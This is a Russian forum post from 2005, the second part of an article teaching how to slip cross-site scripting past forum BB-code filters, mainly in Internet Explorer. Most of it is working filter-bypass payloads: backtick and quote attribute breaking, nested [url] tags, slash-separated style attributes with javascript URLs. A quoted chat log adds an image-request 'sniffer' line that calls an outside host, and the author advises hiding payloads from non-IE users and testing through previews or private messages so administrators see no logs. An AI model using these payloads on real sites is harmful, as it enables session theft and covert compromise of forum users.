Показать сообщение отдельно

Продолжение
  #2  
Старый 16.12.2005, 04:56
Thesaurus
Banned
Регистрация: 03.12.2005
Сообщений: 22
Провел на форуме:
82546

Репутация: 30
Post Продолжение

А теперь продолжим нашу статью....



Вписываем следующий код, после того, как нам удалось выйти из параметра атрибута и создать наш собственный атрибут.

Код HTML:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Взгляните на самый первый по счету обратный апостроф....

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Он у нас теперь стал атрибутом...после него идёт знак равенства, который как Я уже объяснял закрывает атрибут и начинает параметр атрибута...после знака равенства, идёт второй обратный апостроф,

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Который теперь возьмет все, что после него идет в параметр...

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Потом следует ещё один обратный апостроф, который закрывает наш параметр,

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
И наконец-то, следует наш атрибут, "style", со своим параметром,

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>
Который тоже заключен в обратные апострофы,

Цитата:
<a href="http://www.wj"`=`.com">http://www.wj.com`style=`background:url(javascript:alert(/wj/))`</a>

Которые ИЕ воспринимает как ограничителями параметров.

И конечно то же самое, можно и написать с одинарной кавычкой. (')

Цитата:
<a href="http://www.wj"'='.com">http://www.wj.com'style='background:url(javascript:alert(/wj/))'</a>
А зачем мы это все написали? Ведь не проще ли написать так и все дела?....

Цитата:
<html><body>
<a href="http://www.wj"style=`background:url(javascript:alert(/wj/))`.com">http://www.wj.com</a></body></html>


Ответ = Конечно проще! Но проблема в том, что в ББ кодах, ключевые слова как JavaScript и другие, очень часто фильтруется...а в большинстве случаев за пределами ББ кодов - этой фильтрации нет.

Так как обратный апостроф в параметрах является ограничителем в HTML и XHTML только в браузере ИЕ, то в браузере Фаерфокс и Опера, будет выглядеть абракадабра, которая нам сможет привлечь не нужное внимание.

Для этого можно написать код вот так и решить эту проблему.

Цитата:
<html><body>
<a href="http://www.wj"style='display:none'style=`background:url(j avascript:alert(/wj/))`.com">http://www.wj.com</a></body></html>
Это спрячет наш код от глаз любого пользователя который не использует ИЕ, потому что в большинстве случаев одинарная кавычка и обратный апостроф - не фильтруются. Фильтруется только двойная кавычка, так как писатели фильтров ББ кодов наивно думают, что отфильтровав двойную кавычку, пользователь не сможет внедрить зло-целеустремленный код. В каком то случае - они правы....если параметр атрибута заключен в определенную кавычку, то хоть ты вписывай в этот параметр угловые скобки, они всё ровно сделать ничего плохого не смогут......а так ли это?

Теоретически = да, это так...ЕСЛИ все кавычки отфильтрованы.

О чем Я? О том, что если параметр ББ кода заключен в двойные кавычки а сама двойная кавычка которая нужна, чтобы этот параметр своевольно закрыть; чтобы вписывать после этого заключенного параметра в двойные кавычки свой собственный атрибут,.....то это ещё не беда. Ведь можно использовать двойные кавычки других ББ кодов, которые заключают параметры этих ББ кодов в кавычки, и закрывать первый параметр определенного кода, кавычками второго параметра, который для безопасности - заключен в кавычки.

Не поняли??? Сейчас поймете!

В ББ годах, есть два способа писать ссылку...вообще то есть ещё и третий способ, который работает когда на форуме Magic Links поставлены на "ON". Если напишем на форуме
Цитата:
И до и после этой ссылки будет существовать пробел, то она автоматом об-работается ББ кодом и превратится в рабочую ссылку...

Но вернемся..

Вариант один:

Код HTML:
[url=http://www.wj.com]http://www.wj.com[/url]

И вариант два,


Код HTML:
[url]http://www.wj.com[/url]
Результат - один и тот же:

Код HTML:
<a href="http://www.wj.com">http://www.wj.com</a>
В первом случаи, тег:

Цитата:
Нужен для того, чтобы у нас был выбор вписывать в имя нашей ссылки - что угодно. Если ещё не заметили или кто не знал, в имя ссылки,

Цитата:
<a href="http://www.wj.com">http://www.wj.com</a>

Можно вписывать, что угодно, не изменяя тем самым параметр атрибута...


Код HTML:
<a href="http://www.wj.com">что угодно</a>
Если вообще ничего не вписать,

Код HTML:
<a href="http://www.wj.com"></a>
То ссылка не отобразится.

Вернемся к нашей теме...

Что будет, если кавычкой которая начинает определенный параметр ББ кода, что будет, если мы ей закроем параметр другого ББ кода примерно вот так:

Код HTML:
[url=http://www.wj1[url]http://www.wj2.com[/url].com]http://www.wj3.com[/url]
Код HTML:
<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>
От сюда и появилась идея вложенных и спаренных тегов.


Код HTML:
<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>
Обратите внимание, что
Цитата:
Который должен был до этого быть параметром атрибута, сам стал атрибутом.
Цитата:
wj1<a href=
Стало теперь внутри параметра, а двойная кавычка идущая после,
Цитата:
wj1<a href=
Цитата:
<a href="http://www.wj1<a href="http://www.wj2.com">http://www.wj2.com</a>.com">http://www.wj3.com</a>
Теперь закрыла параметр первого атрибута. Мы только что рухнули структуру тегов и у нас получился взлом. Теперь чтобы закрыть атрибут
Цитата:
Который должен бы быть параметром а стал атрибутом и написать наш собственный параметр - нам нужно вписать знак равенства. (=)

Код HTML:
[url=http://www.wj1[url]http://www.wj2=.com[/url].com]http://www.wj3.com[/url]
В результат получим следующие:

Код HTML:
<a href="http://www.wj1<a href="http://www.wj2=.com">http://www.wj2=.com</a>.com">http://www.wj3.com</a>
Слово, ".com", теперь из-за знака равенства, стало параметром атрибута http://www.wj2

Добавляем теперь слеш (/) перед нашим атрибутом http://www.wj2 а после слеша, напишем атрибут, "style", и знак равенства.

Код HTML:
[url=http://www.wj1[url]http://www.wj2/style='background:url(javascript:alert(/wj/))'.com[/url].com]http://www.wj3.com[/url]
Так это все будет выглядеть:

Код HTML:
<a href="http://www.wj1<a href="http://www.wj2/style='background:url(javascript:alert(/wj/))'.com">http://www.wj2/style='background:url(javascript:alert(/wj/))'.com</a>.com">http://www.wj3.com</a>



А теперь для разнообразия, отдыха и просто потому что это интересно читать - вставлю маленькую историю.

Когда Я проводил дискуссию с моим элитным другом JazzzSummerMan, который первым был кто был удостоен прочитать сырую статью века, то разговор зашёл о слешах, которые вставлены по середине атрибутов. С его разрешением, приведу часть лога из наших асек, чтобы такое мнение больше не поднималось:

Цитата:
12/6/2005 19:28:56, zhelezo
зачем делать так:
<WhiteJordan/**/style=background:url(javascript:alert(/wj/))>
если можно так:
<WhiteJordan/style=background:url(javascript:alert(/wj/))>

12/6/2005 19:29:24, qwertyzaq123
это один из вариантов, расчитанно на то, чтобы обойти фильтр на ящике допустим

12/6/2005 19:29:36, qwertyzaq123
это рабочии варианты чтобы обмануть фильтрыцию

12/6/2005 19:29:42, qwertyzaq123
ящиков, имейлов

12/6/2005 19:29:49, qwertyzaq123
форумов и чатов

12/6/2005 19:30:18, zhelezo
ок, но нафиг ты копируешь? написал бы
/ЛЮБАЯ_ПОСЛ_СИМВОЛОВ/

12/6/2005 19:30:31, qwertyzaq123
лол

12/6/2005 19:30:44, qwertyzaq123
просто один из вариантов

12/6/2005 19:30:59, qwertyzaq123
Ламерам только нужно copy/paste

12/6/2005 19:31:15, qwertyzaq123
Это Я на опыте научился

12/6/2005 19:31:20, qwertyzaq123
они не могут думать

12/6/2005 19:32:01, zhelezo
вот откуда это взято:
Обход фильтрации некоторых символов

<img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/)


12/6/2005 19:32:21, qwertyzaq123
арм нет...о_О там пробел

12/6/2005 19:32:31, qwertyzaq123
/**/

12/6/2005 19:32:39, qwertyzaq123
заменяется как пробел в отом месте

12/6/2005 19:32:46, qwertyzaq123
что бы сниффер работал

12/6/2005 19:33:02, qwertyzaq123
все те варианты, Я придумовал сам чисто посмотреть что будет

12/6/2005 19:33:06, zhelezo
<image/src="1.png"/alt="Подсказка"/border="0">

12/6/2005 19:33:18, qwertyzaq123
это объяснение,

12/6/2005 19:33:25, zhelezo
да какая разница-то? разница в том что ты тэги другие написал?

12/6/2005 19:33:28, qwertyzaq123
что если параметры заключенны в кавычки

12/6/2005 19:33:42, qwertyzaq123
то пробел не нужен до следущаго атрибута

12/6/2005 19:33:49, qwertyzaq123
совсем другое чуток

12/6/2005 19:33:59, qwertyzaq123
разница в том,

12/6/2005 19:34:00, zhelezo
смотри, вот это:
<image/src="1.png"/alt="Подсказка"/border="0">

12/6/2005 19:34:04, qwertyzaq123
ну

12/6/2005 19:34:11, zhelezo
видишь атрибут и тэг разделены

12/6/2005 19:34:16, qwertyzaq123
угу

12/6/2005 19:34:24, qwertyzaq123
а точно

12/6/2005 19:34:27, zhelezo
короче лол

12/6/2005 19:34:28, qwertyzaq123
гы не заметил

12/6/2005 19:34:44, qwertyzaq123
все что написанно в статье, это было самостоятельно

12/6/2005 19:35:02, qwertyzaq123
так что если там повторяется, то это не значит что Я копировал от туда

12/6/2005 19:35:22, qwertyzaq123
все что в статье, это было когда от нечего делать, Я начил смотреть что будет если

Ну так вот, подумав о нашем разговоре где мы разговаривали о статье Алгола и zFailure`a, http://www.antichat.ru/crackchat/HTML/ Я заметил, что Я описывал чуток другое..

Код HTML:
<image/src="1.png"/alt="Подсказка"/border="0">

Обратим внимание на image/src что мы тут видим? Мы видим, что братскии так скажем атрибуты, могут быть разделены слешом, или пробелом. Я же хотел показать, что сам атрибут style не нуждается в этом и может работать сам по себе вне зависимости - что идет до него. То есть ему совсем по барану если ДАЖЕ атрибут, который до него разделен слешом или пробелом - правильный или не правильный.



Все, что идет ниже в качестве примера, для ИЕ, как то до Питерской лампочки...код все равно будет работать:

Код HTML:
<image style=background:url(javascript:alert(/wj/))>
Код HTML:
<image src/style=background:url(javascript:alert(/wj/))>
Или возьмем наш выше приведенный пример, который мы использовали в ББ кодах:

Цитата:
<a href="http://www.wj1<a href="http://www.wj2/style='background:url(javascript:alert(/wj/))'.com">http://www.wj2/style='background:url(javascript:alert(/wj/))'.com</a>.com">http://www.wj3.com</a>
Все, что отмечено черным цветом - является атрибутами. Синим цветом отмечены параметры этих атрибутов. Я хочу привлечь ваше внимание на строку, http://www.wj2/style. Эта вся строка, является атрибутом...до атрибута, "style", как вы сами видите, стоит не существующий в природе атрибут, http://www.wj2, но если поставить слеш после этого не существующего атрибута, то сам атрибут, "style", и его параметр - будут работают.

Этого объяснения в статье Algol`a и zFailure`a - нет. Более того, на всем античате этого тоже нет, так как это мне показал мой хороший друг xSpider, которого античат бацнул толком из-за того, что были подозрения что Я - это он.


Чуток отдохнули? За работу! Читаем дальше!

Если вы взломщики или просто совестные люди, которые хотели бы защитить свой форум, гостевую книгу или чат от атак XSS бессовестных взломщиков, то не нужно это делать как на http://forum.web-hack.ru...

Цитата:
Отключим все теги чтобы избежать атаку XSS от бессовестного Белого Джордана, но однако оставим ему две комбинации рабочих тегов, чтобы он через них смог провести атаку XSS.
Ну так вот, не нужно так делать, потому что можно теперь просто напросто использовать все мои комбинации, которыми Я пользовался и которые Я разработал, можно их использовать, чтобы предотвратить взлом через XSS и при этом, не отключать ни единого тега.

Выкладываю вам все мои комбинации ОСНОВНЫХ тегов, так как далее идущие теги после основных тегов, в основном исключительно-действующие только для определенной версии. (То есть сам-описные)

Если ни одна из этих моих комбинаций не работает, то можете спать спокойно. Ваш форум, чат или гостевая книга - хорошо защищены. Я один умнее ВСЕХ писателей фильтров, потому что писать фильтры, может только тот человек, который понимает как их обходить. Писатели движков форумов, чатов и гостевых книг - не имеют РЕАЛЬНОГО опыта который есть у меня. У них одни теории иМхо, а вообще Я Гения, вы это уже знаете.




Лучше всего, если вы что то ломаете, то смотреть результат в пред-просмотре сообщения/приватного сообщения, и желательно через браузер, "Firefox", так как только в этом браузере, встроена опция подсветника синтаксиса, которую если вы хотите, то можете отключить, ну допустим вот так:
Откройте браузер Фаерфокс, нажмите на правую кнопку мышки, выберите опцию "просмотр исходного кода страницы" наверху исходного кода страницы, вы увидите "Файл, Правка, Вид" нажмите левой кнопки мышки на значение "Вид" и уберите галку с "Подсветка синтаксиса". Если эта опции включена, то в исходном коде страницы, атрибуты и параметры, будут показываться разными цветами.

Пошлите дальше...

Если пред-просмотр отсутствует, то советую самому себе посылать приватные сообщения. Это все делается из-за того, чтобы не оставить лог Администрации, так как ДАЖЕ если вы сотрете свою мессагу на форуме или отредактируете её, то лог все ровно останется и видеть этот лог сможет только Администратор. Этому Я научился как говорится..."The hard way" +)


Вынужден опять остановится, так как опять лимит на форуме.

Последний раз редактировалось Thesaurus; 16.12.2005 в 06:30..